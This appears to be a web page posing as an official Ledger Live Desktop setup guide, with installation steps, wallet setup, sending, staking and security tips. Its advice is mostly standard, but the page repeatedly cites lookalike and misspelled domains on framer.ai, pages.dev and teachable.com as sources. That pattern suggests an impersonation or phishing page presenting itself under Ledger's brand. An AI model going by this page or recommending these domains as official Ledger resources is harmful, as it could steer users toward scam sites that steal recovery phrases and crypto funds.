Ledger® Live: Desktop® — Getting Started | official Ledger Wallet™ App

Ledger Live Desktop is the central companion app for Ledger hardware wallets — the secure way to manage your cryptocurrency and Web3 assets while keeping your private keys offline and safe. Whether you’re brand new to crypto or upgrading your setup, this guide walks through everything you need to know from downloading to advanced usage. ledger-com-about.framer.ai+1

1. What Is Ledger Live Desktop?

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Ledger Live Desktop is the official desktop application provided by Ledger to manage your Ledger hardware wallet on Windows, macOS, and Linux. It acts as a secure bridge between your computer and your hardware wallet device, enabling you to:

✔ View your entire crypto portfolio in one place
✔ Send and receive crypto securely
✔ Buy, sell, swap tokens via integrated providers
✔ Stake assets to earn rewards
✔ Install blockchain apps on your Ledger device
✔ Manage firmware and device settings
✔ Interact with Web3 dApps (via WalletConnect / MetaMask) ledger-com-about.framer.ai+1

Key Security Principle:
Your private keys never leave the hardware wallet — all transaction signing happens on your physical Ledger device. This ensures robust protection against online hacks, malware, and phishing. guide-live--desktop-en.pages.dev

2. Why Ledger Live Desktop Is Important

Ledger’s architecture separates private key security (on the hardware device) from user interaction (in Ledger Live). This makes it much safer than software-only wallets. Ledger Live provides:

✅ A user-friendly interface for managing multiple blockchains
✅ Real-time portfolio tracking and analytics
✅ Integrated staking and NFT management
✅ A secure pathway for installing blockchain apps onto your ledger device
⚠️ Never enter your 24-word recovery phrase into the app or any website — only on the device itself. Ledger Live will never ask for it. guide-live--desktop-en.pages.dev

Pro Tip: Always download Ledger Live from the official Ledger site because fake apps are used in scams designed to steal your seed phrase and assets. TechRadar

3. System Requirements and Supported Devices

Before installing, ensure your setup meets the requirements:

Supported Operating Systems

• Windows: Windows 10 or higher
• macOS: macOS 10.14+ (Intel & Apple Silicon)
• Linux: Most mainstream Linux distributions (e.g., Ubuntu) liveledegr-desktop.pages.dev

Supported Ledger Devices

• Ledger Nano S Plus
• Ledger Nano X
• Ledger Stax
  Bluetooth is supported for mobile pairing (not typically used for desktop). liveledegr-desktop.pages.dev

4. How to Download and Install Ledger Live Desktop

Step-by-Step:

1. Go to the official Ledger download page:
   👉 https://www.ledger.com/start
   or https://www.ledger.com/ledger-live ledger-com-about.framer.ai+1
2. Select your operating system (Windows, macOS, Linux). liveledegr-desktop.pages.dev
3. Download the official installer.
   Do not download from search ads or unofficial sites! ledger-com-about.framer.ai
4. Run the installer and follow on-screen instructions. liveledegr-desktop.pages.dev
5. Launch Ledger Live Desktop once installation is complete. liveledegr-desktop.pages.dev

Security Tip

For maximum safety, you can verify the installer checksum/signature using tools like shasum or certutil. Ledger publishes these on its official site. support-live-desktop-us.pages.dev

5. Initial Setup: Pairing and Device Setup

Once Ledger Live Desktop is installed:

Connect Your Ledger Device

• Plug in your Ledger via USB
• If using a Ledger Nano X, you may pair via Bluetooth for mobile but use USB for desktop. livelgr-learn.pages.dev

Choose Your Setup Option

Ledger Live will ask:

• Set up a new device
• Restore an existing wallet
  Choose appropriately. support-live-desktop-us.pages.dev

New Device Initialization

If this is your first Ledger:

1. Create a PIN on the device
2. Ledger generates a 24-word recovery phrase
3. Write it down on the supplied recovery card — do not store it digitally
4. Confirm the phrase on the device when prompted
5. Ledger Live will then verify the device and proceed ledger-com-about.framer.ai+1

⚠️ Important: Ledger Live never asks you to enter the recovery phrase — if any app or site asks for it, it’s a scam. guide-live--desktop-en.pages.dev

6. Adding Crypto Accounts

After setup, Ledger Live lets you add accounts for various cryptos:

• Go to Accounts → Add account
• Choose a currency (e.g., Bitcoin, Ethereum, Solana)
• Ledger Live scans and displays corresponding addresses and balances

You can manage multiple accounts across different chains within the same interface. help-en-desktop-liv-ldgr.teachable.com

7. Sending and Receiving Crypto

Receiving Crypto

1. Choose an account
2. Click Receive
3. Ledger Live displays an address
4. Verify the address on your device screen
5. Share the address with your sender

Sending Crypto

1. Click Send
2. Enter recipient address & amount
3. Confirm the details on your Ledger device

Verification on the device is critical — it ensures malware can’t change the details unnoticed. guide-live--desktop-en.pages.dev

8. Buy, Swap, and Stake

Ledger Live integrates third-party services for convenience:

Buy Crypto

• Linked providers let you buy with fiat
• Fees and KYC may apply

Swap Tokens

• Swap assets directly within Ledger Live
• Always check rates & network fees

Staking

• Supported currencies (e.g., ETH, Tezos, Solana)
• Earn rewards by delegating assets without giving up control
• Tracks staking rewards and status from the dashboard

All actions still require you to confirm on-device before execution. livelgr-learn.pages.dev

9. NFTs and Web3 Integration

Ledger Live Desktop now supports previews of Ethereum and Polygon NFTs.

NFT Features

• View NFTs with thumbnails and metadata
• Send NFTs securely with device confirmation

For broader Web3 interaction (like DeFi or dApps), use WalletConnect or MetaMask with Ledger as the secure signer. start-ledger-conect.teachable.com

10. Device Firmware and App Management

Inside Ledger Live:

• Go to Manager
• View recommended firmware updates
• Install or remove blockchain apps on your device

Firmware updates often include security improvements. Always verify update details on the Ledger device screen before approving. support-live-desktop-us.pages.dev

11. Security Best Practices

Never Share Your Recovery Phrase

It’s the master key to all your funds. Ledger or legitimate services will never ask for it. Enter it only on the device itself. guide-live--desktop-en.pages.dev

Beware of Fake Apps

Malicious apps exist that mimic Ledger Live to steal seed phrases. Always download from official Ledger URLs and verify signatures if possible. TechRadar

Verify Everything On Device

Address, transaction amounts, and details must be confirmed on your Ledger hardware screen — not just in the app. guide-live--desktop-en.pages.dev

Use a Strong PIN

Your PIN protects device access. Too many incorrect attempts can trigger device wipe (configurable for security). support-live-desktop-us.pages.dev

Keep Software Up-To-Date

• Update Ledger Live regularly
• Update firmware via Ledger Live Manager
• Avoid public or untrusted computers for transactions

12. Troubleshooting Tips

Ledger Live won’t launch

• Reboot your computer
• Reinstall from official download

Device not recognized

• Check USB cable quality (data-capable)
• Try different USB ports
• Update drivers (Windows)

Account doesn’t show balances

• Re-add the account in Ledger Live
• Ensure it syncs with the blockchain

If issues persist: Visit the official Ledger Support Center for guides and help. (Ledger Support links are provided within the app and at ledger.com). ledger-com-about.framer.ai

Summary: Why Ledger Live Desktop Matters

Ledger Live Desktop isn’t just an app — it’s a security-focused control center for your crypto. By combining offline key security with a powerful suite of management features, it empowers users to:

📌 Control thousands of crypto assets safely
📌 Track and analyze portfolios in real time
📌 Send, receive, buy, sell, swap & stake crypto
📌 Manage NFTs and Web3 interactions
📌 Update firmware and install blockchain apps
📌 Always confirm every action on your Ledger device

All of this — while keeping your private keys offline and secure. ledger-com-about.framer.ai+1